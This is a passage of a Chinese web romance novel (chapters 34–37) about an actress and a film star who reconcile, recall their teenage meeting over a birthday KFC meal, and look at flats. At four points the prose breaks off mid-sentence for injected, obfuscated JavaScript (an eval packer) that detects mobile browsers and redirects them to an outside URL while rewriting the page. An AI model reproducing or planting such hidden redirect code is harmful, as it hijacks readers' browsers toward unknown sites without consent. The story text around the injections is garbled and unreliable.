涂韵愣在原地，只感觉到莫殊的大手像是带了火苗一样，即使隔着衣服，也烫得她的皮肤发烫，像是燃起了小火星。 最后那只手来到了她的后颈，轻轻地摩梭着，像是在安抚着，但却让她心头发痒。 下一秒，吻落了下来。 莫殊吻下来时，涂韵第一反应是抬手按住了他的胸口，掌心都抵进了他的衬衫里。 涂韵偏过头，想避开他的唇，“莫殊！你在干什么！” 莫殊却不肯退后半步，反而微微弯腰，用额头抵着她的额头，呼吸灼热地朝着涂韵扑来。 “对不起，韵韵。我真的不知道我为什么会变成这样，我看见你和魏肖挨得那么近，看见你和他一直有说有笑，可是却没有回我一条信息。我都要疯了。” “涂韵，我想对你好，我想让你以后都不会再生气，想让你的笑脸都是因为我。可是……我好像怎么也做不好。” 说着，莫殊又要吻她。 这次，涂韵没有躲，她看见了莫殊的眼眶红红的，努力地笨拙地控制着自己的眼泪不滑落下来。 涂韵作为粉丝知道，莫殊一不开心的时候，就喜欢咬自己的唇。 他的唇被他咬得都泛红了，好像……有些Q弹，像是草莓果冻？ 在莫殊的唇落下的那一刻，涂韵轻轻地咬了他一口。 莫殊吃痛地闷哼了一声，他不敢相信地往后退了半步。眼里闪过一丝错愕，随即化为更深的委屈，眼泪终于憋不住地顺着脸颊落了下来。 他的女朋友……真的很生气…… 他不知道的是，此刻的涂韵虽然心里有些愧疚，觉得是不是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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涂韵终于意识到不对，连忙踮起脚尖将莫殊搂入怀里，手在他的背后轻轻抚着拍着，像是安慰小孩一样。 不对啊……不是莫殊跑过来哄她的吗？怎么一下子变成她哄莫殊了？ 而莫殊紧紧地靠在她的怀里，埋在了她的颈窝处。不消一会儿，她的颈窝处就热热湿湿的。 莫殊呼出的热气，流下的眼泪，好像汇成了一股热流，缠绕着她，再加上莫殊鼻子还在抽吸着，脆弱又无助，让涂韵有种窒息的快感。 引人犯罪的……男人的眼泪。 涂韵在莫殊看不见的地方，嘴角上扬，但手仍认真地安抚着莫殊的后背，“真的。” 莫殊在涂韵的怀里拱来拱去，像是撒娇的小狗。而他的“狗毛”蹭着涂韵的脖子，带来一阵痒意。 莫殊深深地嗅着涂韵颈间的香味，哼哼唧唧着，“那……要是真的，你为什么不让我亲你？” 34. 第34章 小邋遢 涂韵心想，跑来道歉的小狗吃醋了，可爱。 涂韵轻轻地捧起莫殊的脸颊，然后踮起脚尖，嘴唇落在莫殊泛红的唇上。 湿湿的，软软的。 在吻落下的瞬间，涂韵能清晰地感受到怀中莫殊瞬间就僵硬的身体，还有触在她后颈肌肤上突然控制不住力度的指尖。 涂韵心里觉得有些好笑，她想离开的瞬间，突然莫殊控制不住地将她抱得更紧，像是要将她按入身体中一样。 莫殊加重了这个吻，已经没有最开始的试探，而是带着孤注一掷地疯狂。 他的吻带着笨拙的毫无章法的慌乱和急喘的气息，还有一丝不易察觉的颤抖，像是在沙漠里干涸了无数天的旅人在寻找着甘泉，又像是一个迷路的孩子在寻找着家。 在唇舌相触缠绕的瞬间，涂韵甚至能尝到他嘴唇上落下的泪水的咸味。莫殊他……竟然还在流眼泪，而且还是无声无息的。 涂韵在心里叹了口气，她放在莫殊胸前的手几乎能感受到他胸腔里急促得要炸开的心跳，像是轰鸣声一般。 这根本就不是吻，更像是莫殊在把自己的不安、懊悔、恐惧，全都揉进了唇间，逼着她不得不去感受。 涂韵闭上眼，感受着莫殊终于缓了过来，慢慢地放柔了吻的力度，甚至讨好地舔着她的唇瓣。 然后，莫殊终于放开了她来，重新埋在了她的脖颈处，他的头发因为这个吻都变得湿漉漉的。 两个人都在喘息着，颤抖着。 不知过了多久，莫殊开口问：“涂韵，你不回我消息，是因为生气吗？” “我是不是一个很不称职的男朋友？我好像不懂怎么平衡工作和对你的感情，和你在一起的第二天，就扔下你去工作。” “我生气了，但不是因为这个。”两人四目相对，涂韵开口说道，“怎么会是因为工作呢？你应该知道的，我就是因为你工作的样子喜欢你的。” 她不希望她和莫殊在一起后，反而耽误了莫殊的工作。 在涂韵的心里，莫殊就是应该在舞台和屏幕上闪闪发光着。 莫殊又试探着问道：“那是……因为林婉婉吗？” 涂韵撇了撇嘴，垂下头没有说话。 她其实并没有多生气，她只是想让莫殊急一下。 可能谈了恋爱之后，人就会容易变得别扭别扭得。涂韵诗第一次谈恋爱，有满腔的理念知识，却没有实践的余地。可谁知第一次实践就用力过猛，直接……把莫殊给急哭了。 莫殊认真地看向涂韵，低声说道：“涂韵，看着我。” 涂韵犹豫了一下，还是慢慢抬眼。 莫殊的眸子里还是湿漉漉的，但已经沉了下来，带着她熟悉的温柔。 “以后不管什么事，只要你觉得不舒服，就直接问我，别自己憋在心里。”莫殊一字一句地说道，“我不想因为别人，让你难过。” 莫殊：“你应该看过我那场时尚巴啦啦的采访吧？还有……看星星那天，我也和你提起过，我有个读高中时候就喜欢的女孩。” “既然你那天看了林婉婉的微博后，会生气，那一定是知道她背地里想说什么。” 涂韵小声地说道：“她什么意思，我当然清楚。你是想说，你早就不喜欢她了？还是想说，她根本就不是你喜欢的那个女孩？” 莫殊的指尖轻轻地摩挲着涂韵的后颈，“涂韵，我之前根本就不认识林婉婉。” “可能我说出来会有些丢脸……涂韵，我和你说我在高中的时候就喜欢上那个女孩，可能我说的不是很准确。” “我没有读完高中，我在湖西读了高一后，家里……就出了变故，”莫殊的声音沉了沉，带着丝哽咽，“所以我和林婉婉即使同是湖西人，也没有任何的关系。之后，我便来到了沪川打工赚钱。那个女孩，是我在沪川的时候喜欢上的。” 哦，涂韵心想，原来不是湖西人啊，是沪川人。 嗯？沪川？这么巧。 “涂韵，”莫殊又郑重地唤了声她的名字，非常认真地说道：“我喜欢的那个女孩是你。” 话音落下的瞬间，空气仿佛凝固了。 涂韵的眼睛骤然睁大，里面清晰地映出莫殊紧张的脸，还有他眼里那抹不带任何掩饰的认真。 噗通——噗通—— 涂韵感觉到自己的心在胸腔里疯狂地跳动，像要马上要撞碎肋骨跳出来。 “你……你说什么？”涂韵像是没听清，又像是不敢相信。 她的目光在莫殊的脸上来回打量着，有些疑惑地问道：“是我？为什么……我一点印象都没有？” 莫殊笑了笑，“你还……记得你读高中的时候的那个小邋遢吗？” 小邋遢……涂韵的瞳孔猛地一缩，她记起来了，“是你？” 记得高中的时候，里面有个总是脏兮兮的，头发乱糟糟的男孩手里拿着个大蛇皮袋，去各个教室里面收学生不要的矿泉水瓶，或者纸板箱。他长得高高瘦瘦，露出来的手臂和竹竿子似的。 因为他总是低着头，头发盖住了他的脸，所以大家都叫他小邋遢。 有些坏学生会欺负他，比如把喝了一半的可乐装作扔垃圾，直接扔给他。那些可乐全洒在小邋遢的身上，糖浆黏着衣服，湿漉漉的。 小邋遢一声不吭地，当着那些学生的面，将瓶子一个个地踩扁，装进蛇皮袋里。 那时候高一学生是需要军训的，大热的夏天，几乎人手一瓶冰矿泉水，很少有人会自己拿杯子装水。 小邋遢的战绩便正好是涂韵那届军训的时候。学生们在太阳底下站着军姿，一动都不能动，而小邋遢拿着大袋子把大家放在操场上的矿泉水瓶子全给收了。 等教官发现时，操场上已是“片甲不留”。 然后……小邋遢就喜提投诉，涂韵再也没有在学校里看见过他了。 “对，是我。”莫殊点点头道，“那时候家里没钱供我接着读高中了，刚巧我有个表舅舅在你们高中当保安，就让我去沪川跟着他，说不定能赚下点钱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490366|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我那时候还没有成年，学校不收我干活。 我就偷偷地睡在舅舅的保安亭里，和我舅舅吃一份饭。这样基本上不用什么花销，再加上我平时就去……捡些破烂卖，还真攒下了些钱。” 说完，莫殊自嘲地笑笑。那些攒下的钱，几毛几块加起来，在母亲的病面前也不过是杯水车薪。 “那……后来呢？”涂韵问道，“我记得我只是在学校里递过几个瓶子给你而已，你……怎么会喜欢我？” 莫殊的声音又响了起来，带着一丝不易察觉的委屈和忐忑。他的眼圈红红的，“也许你不记得了。但是……那一天，你拯救了我可怜的自尊心。” “一月三十号，是我的生日。” 因为被投诉，莫殊没有办法再呆在学校里了。他只能去外面，找有没有工打。 但他年纪小，再加上没读多少书，找来找去也只能在工地上搬水泥出卖力气。但幸好，工地上包住。 莫殊吃得少，省的很。工友们下了班之后都是相约着吃点烧烤喝点小酒什么的，莫殊从来不参与，而是趁着休息时间接着捡瓶子破烂赚点钱。 一月的沪川，还是挺冷的。因为沪川湿气较重，所以是阴冷的，就算人们裹着厚厚的羽绒服和围巾，那种冷感还是深入骨髓。 莫殊只有一件薄外套，他光着手哆哆嗦嗦地翻着垃圾桶。也就是那时，他翻出了一张肯德基的纸质优惠券。 那份十六开大小的优惠券和一些报纸随意地塞在一起，但是那显眼的颜色，让莫殊把它抽了出来。 他看见那些像邮票一样的优惠券连在一张，每一张上面都画着诱人的图案。金黄酥脆的炸鸡、香软的汉堡、还有一看就很好吃的蛋挞、圣代…… 下面还有大写的优惠数字，最便宜的只要几块钱就能吃到。 莫殊不自觉地咽了口口水，肯德基，他老家的小村落里并没有。 他还是到了沪川之后才知道肯德基的。 每当他经过那亮堂的门店时，他都能看见里面的人坐在一起，边满足地吃着里面的东西，边笑着。小孩们用手捧着金黄酥脆的炸鸡翅，啃得嘴都是油乎乎的。 羡慕，莫殊低下头加快脚步走过。 那时候，他从来没想过要进去吃这么一个洋玩意。 可是现在，他的手里竟然有一份这样的券！ 他想，一定是这个扔报纸的人，不小心扔掉的。 莫殊并不知道这种优惠券之前经常有人发放，他以为要拿到这样一份券肯定得花大价钱。 莫殊小心翼翼地将肯德基纸质券折起来，塞进自己的棉袄里。 马上就要到他的生日了……那天，要不然就进去吃肯德基吧。 莫殊将那张券藏在了他的枕头下。 每天晚上睡前，他都会悄悄地拿出来，把上面的食物看一遍。在心里面算着那天要吃什么，怎么吃才最划算。他要用最少的钱，吃到最多的东西！ 莫殊从来没有那么地盼望过，他的生日的到来。 35. 第35章 忆往事 一月三十号终于到了。 晚上七点，工地的活结束了。莫殊小心翼翼地沿着虚线将他决心要买的东西的优惠券撕下来，塞进口袋里。 那几张薄薄的纸片就像一沓纸币一样，带给他安全感，连带着他的背都不自觉地挺直了。 来到肯德基的门口，莫殊犹豫了起来。里面的环境看起来就很舒服很暖和，里面的人都穿着颜色鲜艳款式精致的棉袄，他一声灰扑扑的会不会显得格格不入？ 他的手伸进口袋里，摸了摸那几张优惠券。 那几张优惠券就像卖火柴的小女孩手里的火柴那样，让他在恍惚中看见了“喷香的烤鹅”，“美丽的圣诞树”……莫殊鼓起勇气，推开玻璃门走了进去，走进去之前还不忘将挡在自己眼前的头发往旁边捋了捋，试图让自己显得整洁些。 莫殊站在柜台前，将口袋里的优惠券一股脑地掏出来。他满心里都是雀跃，小声地问道：“我要这上面的这些东西，大概……多少钱？” 工作人员愣了一下，然后说道：“现在这些纸质券已经停用了。而且……上面的很多东西已经不卖了。” 莫殊呆在原地，下意识地抚过柜台上的那些优惠券，“是……是吗？” “是的。你要不……看看其他的吃的？现在我们有新的线上优惠，您可以扫码领券。”工作人员的表情有些奇怪。这些纸质券都是好几年前的老古董了，谁还会拿着这个买东西啊？眼前的这人怎么好像穿越了的似的？ 莫殊慢吞吞地“哦”了一声，将柜台上的券给收了起来。他摸了摸口袋里的手机，这手机还是他舅舅淘汰下来给他的，只有最基础的打电话发短信的功能，扫券什么的他不懂。 他甚至都还没有吃过肯德基，没有体验过用纸质券买东西。 尽管他现在就住在沪川，可这个高速发展的大城市就已经把他甩了出去，他依旧被留在了那个贫穷的，没有任何洋玩意的村落里。 莫殊抬起头，看见了在柜台的上面的电子屏上播放着各种各样的单品，和套餐的价格。 一个汉堡就要二十多块钱，他可以在工地外面的小摊吃两份蛋炒饭了。 莫殊的心里好像空了一块。他想起他小时候吃的糖都是最普通的麦芽糖，有一天，突然有同学拿出了那种高档的金币一样的巧克力，说是村里进的新品。 他想吃，就偷偷地攒钱，好不容易攒够了，兴冲冲地跑去村里唯一的小卖部里买，却被告知那种巧克力已经卖完了。 莫殊把优惠券重新放回了口袋里，语气轻得像叹气，“谢谢。不……用了。” 但店员根本没听见他说什么，店员看他一直呆愣在原地早就没有了耐心，转去招呼其他人了。 正当他想转身离去的时候，他突然听见一声清亮的女声，“你是……好巧，你怎么在这？” 莫殊抬头一看，看见了一个漂亮的扎着马尾的女孩，穿着沪川高中的校服，手里提着一个棕色的皮质书包。 莫殊记得她，她长得很漂亮，老是笑，还特意会将喝完的饮料瓶放在课桌里。 夏天的时候，天气热，别的学生路过他的时候就像路过一个臭虫一样，皱着眉捂着嘴。 只有涂韵，会对着他笑，遇见他路过时，就会把他喊住，笑嘻嘻地把那些瓶子和不用的纸都给他。 莫殊偷看过她写完了的作业本，知道她叫，涂韵。 她一定看到了刚刚的情形了吧…… 她一定在心里想，我这样的人怎么能进肯德基，这里本来就不是我这样的人能进来的。要不然她怎么会问我怎么在这？ 被有好感的人看到了自己的窘况，莫殊有些局促地抠着手指，小声地辩解道：“今天是我的生日，所以我……” 才进来看看。 还未等到他说完，涂韵就惊讶地瞪大眼睛，然后绽放出一个笑容，认真地说道：“这样啊！生日快乐！” “今天是你生日！那我请你吃吧！你想吃什么？” 还未等莫殊反应过来，涂韵就拉着他的衣袖，重新来到了柜台。 涂韵指着上面的电子屏幕，认真地推荐道：“我特别喜欢吃肯德基的葡挞，一口气能吃四个。你要不要试试？” 莫殊：“啊……好。” 涂韵点单：“姐姐，我要两个深海鳕鱼堡，一份鸡米花，一份上校鸡块，一份香辣鸡翅，一包大份薯条，八个葡挞。” “哦，对了，没点饮料。那就……两杯九珍果汁。” 说完，涂韵转头看向莫殊，“你还想吃什么吗？” 莫殊：“不用了……是不是，点太多了？” “不多，今天是你生日，生日最大。”涂韵笑起来，“你四个葡挞，我也四个，好吃的！” 当莫殊坐在明亮的灯光下，看着面前满满的餐盘，里面装着他没有吃过的东西，那种感觉就好像做梦一样。 对面的涂韵朝他笑着，边拿起一个蛋挞，边说：“真的好巧，今天你生日，我也还没吃晚饭，刚好一起吃啦。” “对……好巧。”莫殊拿起鳕鱼堡，撕开包装纸，犹豫了起来。 面包，菜，肉？怎么吃？一层一层吃吗？ 涂韵快速地将手里的蛋挞塞进嘴里，然后跟着拿起另一个鳕鱼堡，张大嘴巴就是一大口。 她边不顾形象地嚼着，边掩饰着自己的行为，“啊，好饿。” 莫殊偷偷地看着面色如常的涂韵，在心里舒了一口气，学着她的样子，咬下一大口，然后笑了起来，“好吃。” 两个人对视了一眼，然后哈哈大笑，大快朵颐起来。 十七岁那年的生日，是莫殊记得最清楚的一年生日，也是他最快乐的一个生日。 在这一天，他抛弃了肩上的胆子，心中的忧虑，幸福地享用了属于他的美食。 这些都是因为涂韵。 * 莫殊讲起他藏在沪川老街，假装排队，偷偷看她在店里帮忙；讲起他在工地下班后，特意在校门口等着下晚自习的涂韵，怕晚上太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490367|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑会出事，偷偷地跟在她身后陪她回家；讲起他站在暗处，看着喂猫的涂韵露出笑脸…… 听着莫殊的故事，那些场景就像被按下了播放键，在涂韵的脑海里一一闪过。 “我……记起来了。”涂韵张了张嘴，她太震惊了。 她从来没有想过，她喜欢了八年的人，竟然在她不知道的地方，喜欢了她更久。 如果不是……她刚好进了娱乐圈，那他们……是不是就这样莫名其妙地错过了？ 这份藏了太久的心意，一时间竟让涂韵手足无措。 在莫殊今天来之前，她想过很多关于莫殊喜欢的那个女孩的事情，但她从来没有想过，那个人会是她。 莫殊看到涂韵震惊到说不出话的样子，心里像被揪了一下。 他紧张地往前凑了凑，却又不敢靠得太近，只能小心翼翼地问：“涂韵，你……是不是吓到了？对不起，我不该这么突然说出来，如果你觉得不舒服，我……” 他那样偷偷摸摸地喜欢涂韵跟着涂韵，是不是像一个变态……？ “不是……”，涂韵猛地摇头，她努力让自己的声音平稳些，“我只是……太惊讶了。” “那你……后来怎么拍电影了？”涂韵急于想知道莫殊后面的故事。 莫殊：“高三开学的时候，我没有再见到你，我不知道……你当时出国了。” “我在沪川干了两年多，也攒下了一些钱，我妈的病情也有所好转，盼着我回去。所以我干脆回老家了。” “但是没想到在火车站的时候，碰见了陆泽哥，他邀请我做他的电影男主角。我以为他是骗子，直接拒绝了。”莫殊回忆起那个时候他在火车站紧张地捂着自己钱包的样子，笑了笑道，“没想到陆泽哥直接追着我去了老家，就这样机缘巧合之下进了娱乐圈。” 在追莫殊的时候，涂韵作为粉丝就猜到莫殊的家庭应该并不富裕。他真的是励志的代言人。靠着自己一步一个脚印地走到大家的面前的。 可是没想到当他的身影和年少时那个又高又瘦的小邋遢重叠起来时，涂韵的鼻子就莫名地酸了起来。 她原来……早就见过最初的他了。 涂韵的心里头满是心疼，她不知道该说什么好，她笨拙地搂着莫殊，拍着他的背，哽咽着安慰道：“都……过去了，过去了。” 莫殊伸出手，帮涂韵抹去了眼泪，“我都没哭，你这么哭了？” “涂韵，我现在很幸福很幸福，因为有你。” “我真的没有想到我能再次遇见你……是我太过胆小了，要不然我们能早点相遇。”莫殊想着当时他搜到新人涂韵的照片的时候的欣喜若狂，可是他却胆怯地不敢上前，让他们白白错过了两年。 涂韵笑道，“现在也不迟……我们在一起就够了……” 两个人四目相对，心意相通，正当两个人再次准备拥吻时，却听见外面苏小桃的声音。 不好！两个人对视一眼，吓得立马分开。有人要进来了！ 36. 第36章 小日常 两人赶紧翻出因为接吻而不知道扔到哪里去的口罩，戴上，重新裹得严严实实，赶紧开门出去。 门外面站着一个戴着墨镜的高挑的精致女人，手里还牵着一个小女孩。 方羽梅下了飞机后，本来是想进母婴室帮孩子换一下尿布的，谁知该走到门口，就看见门是锁上的。站在门口的拖着行李箱的那个女的，带着歉意地告诉她，里面有人，需要等一会。 方羽梅应了声好，结果过了不到三十秒，母婴室的门就打开了。 里面走出来一男一女，方羽梅在心里呸了一声，真是不要脸。 她牵着孩子，刚走到母婴室里面，经过那一男一女旁边的时候，突然感觉到一丝不对。 她低下头，翻开追星群，拼命地往上滑。 里面有人发了涂韵今天航班的私服，这个女孩……和涂韵的私服一样！ 啊啊啊！她碰见涂韵了啊！ 不对！那那个狗男人是谁？ 方羽梅连忙转身，取下墨镜，仔细辨认着那两人的背影。那两人已经快走到停车场了。 她知道，今天涂韵和魏肖是同一班飞机。群里顺带也发了魏肖今天的照片。 可是这男人和魏肖的衣服不一样啊？而且……看起来要比魏肖高一点。 但是……莫名的很熟悉。 突然——方羽梅灵光一闪，她立马举起手机，拍了涂韵和莫殊的背影。 然后她赶紧闪进母婴室，关上门。 方羽梅点开自己的小姐妹群，在里面大喊着：“啊啊啊！天大的好消息！” “我刚刚在机场偶遇我们妹宝和莫殊了！我们磕的CP是真的啊！！！” * 车上，坐在副驾驶上的苏小桃一直偷偷地通过后视镜看坐在后排的涂韵和莫殊。 在涂韵和莫殊第七次相视而笑后，苏小桃终于忍不住开口道：“莫老师，请问等会将您送去哪个酒店啊？” 莫殊一愣，开口道：“我还没订酒店，要不然……”莫殊转头看了眼涂韵，欲言又止。 涂韵秒接：“要不然，先回我家吧？” 苏小桃：“嗯？” 司机虽然一直盯着前面开着车，但脸上也是一脸震惊。这……涂韵和莫殊在一起了？ 见苏小桃这么惊讶，涂韵有些不好意思地说道：“小桃，情况有点复杂，你之前应该也是见过莫殊的。等后面，我再和你详细解释。” 苏小桃纳闷地想着，莫殊，手捧两座影帝奖杯的大明星，她怎么可能没见过？这话是什么意思啊？ 车辆在路上平稳地往前行驶，大概开了一个多小时后，停在了涂韵小区里的地下车库里。 和苏小桃说了再见后，涂韵和莫殊将行李箱拖进家里，门一关，相视一笑。 终于是属于他们两个人的私人空间啦！ 点一份外卖，两个人坐在地毯上吃完，便窝在沙发里看电视。 已经是下午，拉起客厅的窗帘，打开暖黄色的落地灯，整个小小的房子顿时就有了温馨的感觉。 涂韵将两个蓬松的羽绒抱枕叠在沙发的角落，就能舒舒服服地靠着，整个人都能陷进去。 涂韵手里拿着遥控器，指尖在按键上轻点着，边挑选着想看的节目，边招呼着莫殊快过来。 莫殊应了一声，小心翼翼地端着两杯冒着热气的茶走了过来，顿时客厅里就飘来龙井的香气。 莫殊笑着将一蓝一粉两个马克杯放在沙发边的茶几上，边问道：“这杯子是给我准备的吗？” 上次他来时，只看见粉色的马克杯，这次过来，他惊喜地发现粉色马克杯旁边多了一个蓝色的，都是可爱的猫咪图案，只是更新一点，一看就是没人用过。 涂韵端起杯子，小小抿了一口龙井茶，“才不是。这两个本来就是一套的，只是我之前没拿出来用过而已。”她才不会说，是她专门在网上找到同一个链接买的呢。 “不过你来了之后，我那些放久了的茶叶终于可以消耗掉了。” “这样啊。”莫殊笑笑倒也没拆穿，而是挨着涂韵坐下。两个人柔软的居家裤相互接触，带来一些轻微的面料摩擦声音。他想拿起沙发上的米白色毯子给涂韵盖腿，结果刚抖开毯子，就看见上面显眼的莫殊Q版形象。 “哎呀！”眼瞧着莫殊又带着半惊讶半得意的笑容看她，涂韵连忙放下茶杯，将毯子抢过来翻了个面盖上，“这是你们后援会出的周边。好看，又保暖，我就买了一条。” “好好好，夸你一句买得好。”莫殊微微侧身，将下巴搁在涂韵的肩膀上，目光落在电视屏幕上，“你选好看什么片子了吗？” “有点纠结呢，要不……看你来选？”涂韵侧过头，鼻尖刚好蹭到莫殊的发顶，闻到了一股洗发水的香气。虽然已经是莫殊的女朋友了，两个人亲都亲了好几回了，可是涂韵还是顿了一下。 论喜欢了八年的偶像变成了自己的男朋友，需要多少天才能适应？ 涂韵脸一红，将遥控器往莫殊的手里一塞。 “那就看你和魏肖那部电视剧。” 涂韵小声反驳道：“什么叫我和魏肖那部哦？我又不是女主角。” 随着莫殊在影视列表里找来找去，然后按下播放键，屏幕上很快出现了《烬染霜华》的片头曲。 “开始啦。这是第一集，你之前有看过吗？”莫殊顺手将毯子往下拉了拉，盖住涂韵露在外面的脚踝。 涂韵摇摇头，“其实我拍完戏之后，很少会再去回看，总感觉会不好意思。我还是那次连线直播的时候，和粉丝们一起看了一集。” 涂韵蜷着腿，后背紧紧地贴着莫殊温热的胳膊。她的手里还捧着马克杯，手指无意识地摩挲着，好汲取花茶的温度用来暖手。 “你存的茶叶很香。好喝吗？”莫殊弯腰下去，将涂韵圈在怀里。 他低头想去够涂韵手里的茶杯，去喝茶。结果唇却碰到了涂韵的手，莫殊顺势含住她的指尖，轻轻咬了一口。 有点凉，还有点痒。涂韵手一抖，差点茶都要撒了。 她连忙放下茶杯，用胳膊肘打了莫殊的胸膛一下，“你别闹，看电视呢。再说呢，干嘛喝我的，你那杯不就在桌子上吗？” 莫殊一本正经道：“那不一样，你的就是好喝点。” 说完，莫殊自己就忍不住了，低声笑起来。他自己都觉得奇怪，他现在怎么能这么自然地说出这种不要脸的话。 “看电视，看电视。” 屏幕上，镜头已经播到了璃月出场，蹦蹦跳跳的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16490368|185826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小狐狸拖着白色的长尾巴闯进妖界狐族圣地中游玩。 莫殊指着屏幕，笑着说道：“小狐狸的样子和你读高中放学的时候一模一样，也是这样子跳起来走的。” 涂韵瞪他一眼，“怎么可能，我读高中的时候可是很勤奋的，都不想放学。放学的时候，我都是垂头丧气走的！” 镜头一转，误入狐族禁地的凌霄被年幼的璃月所救下，两个人在屏幕上打打闹闹。 涂韵看得入神，偏偏莫殊一定要和她讨论里面的剧情。 要是戏里的凌霄对着璃月说了句什么话，莫殊就一定要趴在涂韵的耳朵边重复一遍。 要是璃月对着凌霄做了什么比较暧昧的打闹动作，莫殊就要跟着模仿一遍。 涂韵算是明白了，为什么莫殊一定要和她一起看《烬染霜华》，就是在这等着她呢。 这人表面上淡淡的，其实气性还不小，还在心里头吃着醋呢。 涂韵：“你再这样，我就换台啦，看你拍的电影。” 莫殊：“你换你换，随便你看，反正……我又不和人拍偶像剧。” 涂韵：“……” 她追她以为的高冷影帝莫殊的时候，怎么没发现这个人现实中这么欠扁的？ 难道是小邋遢时期封印了他，现在的莫殊才是完全体，彻底被放出来啦？ 一想到小邋遢，涂韵有些心疼。同时，她又庆幸着，小邋遢走过了那么多事情，还能保持着这么纯粹。 她下意识往莫殊的怀里缩了缩，把脸贴在他的胸口。 她听着莫殊平稳有力的心跳，开口说道：“我以前其实有想过，要是我谈恋爱了，我要去干什么。我要去游乐场，去旅游，去吃遍好吃的米其林餐厅，可是等到我真的谈恋爱了，我却觉得就这样，和你一起安安静静地看电视，就很好，特别的踏实和安心。” “你说，要是我们以后老了，也这样多好啊。我们在院子里种花，再养一只猫，一起吃完饭，就像今天这样，窝在沙发上看看电视，晒晒太阳。” 涂韵的声音很轻，像是在描述一个美丽的梦一样。 “好啊。”莫殊低下头，握住了涂韵的手，“但是为什么要等老了呢？我们现在也可以种花，养猫，看电视啊。” 涂韵一愣，她没想到莫殊会这样回答。 涂韵歪着脑袋想了想，说道：“因为……现在我家没有院子？而且……我们两个现在也不住在一起？” 莫殊：“我今天在机场的时候，就在想，为什么魏肖能和你下了行程后再一个航班飞回来，就是因为魏肖在沪川有房子。” 涂韵一脸疑惑，这……两件事是怎么扯到一块去的？ 魏肖在横店有一套房，在沪川也有一套，平日里他没进组的话，一般都是住在沪川的那套房子里。 莫殊认真地接着说道：“我第一次这么想买房，我想在沪川买一个房子。等我们下了班后，就一起回到我们的房子里。我们可以在里面种花，可以养猫，如果你喜欢的话，我们还可以养只小狗……” 涂韵“嗯”了一声，嘴角忍不住地上扬。 她伸手环住莫殊的腰，将自己埋得更深。 她知道，莫殊描述的不仅仅是一个沪川的房子，而是属于他们两个的家。 37. 第37章 去看房 莫殊是个实干派，说了想买房子，第二天就联系了好几个楼盘去看房。 那几天，涂韵和莫殊每天都在看房。每当销售问他们对房子有什么要求的时候，莫殊就会转头看向她，笑道：“问我女朋友吧，她做主。” 涂韵恍惚间，觉得自己好像真的变成了一个房子的女主人。她不需要思考价格或者其他的，她只需要描述和构造自己理想的家，自然会有人来帮她实现。 涂韵想起，她决心搬出家，买一套自己的房子的那个时候。 那时候她刚拍完她的第一部女主剧，虽然只是一个小网剧。 因为剧还没有播出，谁都不知道未来会变得怎么样。 拍完后，涂韵又回到了最初的起点。 她每天在各个剧组里跑来跑去面试，回到家后累得像一滩烂泥，却还要面对父母的唠叨。 她在自己的房间里堆满了莫殊的周边，感到坚持不下去的时候就会拿出来看一下，父母却说她玩物丧志，说都是莫殊这“男狐狸精”害了她，还扬言要把她的这些“破烂”给丢出去。而她早就和父母说过，要是没有莫殊的话，她早就得抑郁症了。 在那一刻，涂韵明白了，家是一个可以常回但不能久待的地方。 她没有错，父母也没有错，他们各自都有各自的立场。 但是她要再在这个家待下去的话，她和父母之间的矛盾只会越来越大，最后到谁都听不见谁的话的地步。 涂韵下定决心，要买一套属于自己一个人的房子。 苏小桃惊讶地问她：“你买房的勇气是哪来的？” 涂韵无奈地笑：“买房哪需要勇气，买房只需要钱。” 沪川的房价，涂韵是知道的。 她手上没有多少钱，爸妈也因为她一声不吭地从国外跑回来而生气，只想着让她知难而退，根本不会给她什么资助。 涂韵拿着那张没有多少存款的银行卡开始了一个人看房的日子，工作忙，她只能抽时间去看。 因为预算有限，涂韵甚至还做了个打分表，上面标注着各个维度。她努力地在各个维度中平衡着，希望可以选到最优性价比最高的那套房子。 最后她舍弃了她喜欢的大院子大阳台，看中了这套小小的一室一厅的房子。 虽然是老房子，但小区环境不错。 涂韵一个人和中介谈判，一个人下定决心签字，终于拿到了那个写着自己名字的红本本。 后面即使手里有钱了，涂韵也没想过要置换一套新的，毕竟她的房贷还没有还清。 